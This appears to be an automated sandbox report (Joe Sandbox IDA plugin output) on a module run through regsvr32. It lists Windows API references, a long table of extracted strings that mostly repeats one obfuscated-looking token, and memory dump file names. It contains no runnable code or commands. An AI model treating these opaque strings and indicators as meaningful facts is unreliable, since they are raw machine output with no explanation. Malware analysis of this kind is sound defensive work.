CoLoadLibrary.OLE32 ref: 000007FEF7525476
LoadStringW.USER32 ref: 000007FEF7525495
LoadStringW.USER32 ref: 000007FEF75254AB

Part of subcall function 000007FEF7521444: LoadIconW.USER32 ref: 000007FEF7521477
Part of subcall function 000007FEF7521444: LoadCursorW.USER32 ref: 000007FEF7521488
Part of subcall function 000007FEF7521444: LoadIconW.USER32 ref: 000007FEF75214B6
Part of subcall function 000007FEF7521444: RegisterClassExW.USER32 ref: 000007FEF75214C4

Part of subcall function 000007FEF75210F4: CreateWindowExW.USER32 ref: 000007FEF7521148
Part of subcall function 000007FEF75210F4: ShowWindow.USER32 ref: 000007FEF752115B
Part of subcall function 000007FEF75210F4: UpdateWindow.USER32 ref: 000007FEF7521164

LoadAcceleratorsW.USER32 ref: 000007FEF75254D3
TranslateAcceleratorW.USER32 ref: 000007FEF75254EB
TranslateMessage.USER32 ref: 000007FEF75254FA
DispatchMessageW.USER32 ref: 000007FEF7525505
GetMessageW.USER32 ref: 000007FEF7525518
ExitProcess.KERNEL32 ref: 000007FEF7525525
VirtualAlloc.KERNELBASE ref: 000007FEF7525543
RtlAllocateHeap.NTDLL ref: 000007FEF7525553
CoTaskMemFree.OLE32 ref: 000007FEF7525571
RtlAllocateHeap.NTDLL ref: 000007FEF75255D2
CoTaskMemFree.OLE32 ref: 000007FEF75255F3

Strings

3wa, xrefs: 000007FEF7522F09
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752369D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525425
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524A4D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752489D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525395
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75251C1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523A45
`7aB, xrefs: 000007FEF752218F
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75250E9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523DA5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524E3D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523AB1
{Hr, xrefs: 000007FEF7521D75
SbRU, xrefs: 000007FEF7521E65
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75246A5
LV=P, xrefs: 000007FEF7521DB1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525371
Sm7(, xrefs: 000007FEF75229F5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524465
8QB, xrefs: 000007FEF7522275
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525251
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523DED
f3EV, xrefs: 000007FEF7522847
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75253B9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752402D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524AB9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524A29
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524681
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524DF5
AU'l, xrefs: 000007FEF7523355
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75244AD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752465D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523CA9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524519
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75249E1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524975
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752507D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523BF5
)5QH, xrefs: 000007FEF7522FC7
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75239FD
#s]Y, xrefs: 000007FEF7521CCB
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75244D1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525059
3`), xrefs: 000007FEF7522685
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523F55
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752353C
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524D89
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75238DD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525449
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523D39
{fWE, xrefs: 000007FEF7521AEA
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524B01
y4s, xrefs: 000007FEF7522F13
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524C21
{O4^, xrefs: 000007FEF752279D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75243D5
?P%5, xrefs: 000007FEF7521D4D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524759
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523B89
c8r6, xrefs: 000007FEF7521B4C
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524129
d?Sh, xrefs: 000007FEF752240F
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524249
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523EC5
>'%\, xrefs: 000007FEF7522059
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752384D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75253DD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524711
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75252E1
@WD, xrefs: 000007FEF7523099
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525179
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524DAD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75243F9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523871
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75246ED
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752510D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524BB5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524225
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523C19
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524C45
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523709
5qN{, xrefs: 000007FEF75235DC
DfO, xrefs: 000007FEF7521D25
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75240E1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523C61
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75251E5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523F9D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524441
m7(M, xrefs: 000007FEF7523125
5vls, xrefs: 000007FEF7522FE5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525275
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752414D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75236E5
BwB, xrefs: 000007FEF75233EB
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75250C5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524DD1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524291
$bxB, xrefs: 000007FEF7522211
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523EA1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524879
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523949
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524B25
\G2e, xrefs: 000007FEF7522103
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525299
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524A71
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75247E9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525401
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523A21
a>, xrefs: 000007FEF7522F63
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524201
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523679
Hb[3, xrefs: 000007FEF75222CF
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523E11
`0, xrefs: 000007FEF75230AD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525035
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75236C1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523655
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523F31
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75248C1
ug3E, xrefs: 000007FEF7522BC1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524009
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523775
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524D41
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523EE9
tjJZ, xrefs: 000007FEF7523564
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524FED
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524831
.:\3, xrefs: 000007FEF7521B68
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524345
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523D5D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752453D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524EA9
=P'5, xrefs: 000007FEF7522167
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524F39
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524E85
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524855
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523751
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75239B5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523805
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523E7D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752480D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523925
H4Z', xrefs: 000007FEF75228DD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523DC9
;n, xrefs: 000007FEF7522405
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523AF9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525155
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75245CD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524489
{HJ, xrefs: 000007FEF752346D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75242B5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524735
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524561
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75252BD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75242FD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75241B9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752519D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524A05
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524EF1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523C3D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524BD9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524615
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752426D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524FA5
YTf3, xrefs: 000007FEF75230DF
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523AD5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75243B1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752396D
QvS, xrefs: 000007FEF752305D
YRmr, xrefs: 000007FEF7522A27
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75247A1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524051
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523E59
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524195
S8/, xrefs: 000007FEF7522F81
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524909
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524CF9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752438D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524C69
Ufvv, xrefs: 000007FEF7521EA1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752492D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75246C9
;;)P, xrefs: 000007FEF75219F5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75248E5
P)t, xrefs: 000007FEF7522897
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524585
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75240BD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523CCD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523991
f3A-, xrefs: 000007FEF752314D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524171
o4}y, xrefs: 000007FEF75225A9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524D65
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524F5D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523895
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524B6D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524639
\)9Q, xrefs: 000007FEF7521F91
:EY, xrefs: 000007FEF7521C99
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524D1D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524B49
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752441D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75237BD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524F81
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75247C5
>vBA, xrefs: 000007FEF7522A13
$brB, xrefs: 000007FEF7521EC9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75237E1
;-">, xrefs: 000007FEF75220DB
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523799
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75250A1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524F15
AHCs, xrefs: 000007FEF75229A5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523B41
CAU, xrefs: 000007FEF7523111
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524BFD
R@Uf, xrefs: 000007FEF7522DC9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523A8D
wB5q, xrefs: 000007FEF7523215
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75241DD
#r$4, xrefs: 000007FEF75234D1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524075
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523C85
S}R, xrefs: 000007FEF75227C5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75238B9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523BD1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525011
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524321
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524369
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525131
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524CB1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525305
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75244F5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524B91
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524ECD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75239D9
,{P", xrefs: 000007FEF7522135
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523A69
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523CF1
g3EY, xrefs: 000007FEF7522FA9
m7lM, xrefs: 000007FEF7522DDD
]LC*, xrefs: 000007FEF7522775
eLRx, xrefs: 000007FEF7521E0B
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523B65
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75245F1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75245A9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523F79
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75249BD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524999
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525329
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF75242D9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524951
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523FC1
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7525209
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524E61
(5Q, xrefs: 000007FEF75226F3
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523D81
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752372D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524C8D
CAU#, xrefs: 000007FEF75231E3
AUf~, xrefs: 000007FEF7523283
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523829
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524E19
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524FC9
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523F0D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524099
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524CD5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752534D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523BAD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523901
BwBAUf3EYRm7lBV3P)5Q, xrefs: 000007FEF7525589
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752522D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523B1D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523E35
\>}T, xrefs: 000007FEF7521C7B
i, xrefs: 000007FEF752281F
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523FE5
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF752477D
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524105
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7523D15
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524ADD
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF7524A95

Memory Dump Source

Source File: 00000005.00000002.1264950335.000007FEF7521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 000007FEF7520000, based on PE: true

Associated: 00000005.00000002.1264946903.000007FEF7520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264960138.000007FEF7537000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264965991.000007FEF7540000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264982139.000007FEF7545000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7520000_regsvr32.jbxd

Similarity

API ID: Load$MessageWindow$AllocateFreeHeapIconStringTaskTranslate$AcceleratorAcceleratorsAllocClassCreateCursorDispatchExitLibraryProcessRegisterShowUpdateVirtual
String ID: #r$4$#s]Y$$brB$$bxB$)5QH$,{P"$.:\3$3wa$5qN{$5vls$8QB$:EY$;-">$;;)P$=P'5$>'%\$>vBA$?P%5$AHCs$AU'l$AUf~$BwB$BwBAUf3EYRm7lBV3P)5Q$CAU#$CAU$DfO$H4Z'$Hb[3$LV=P$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$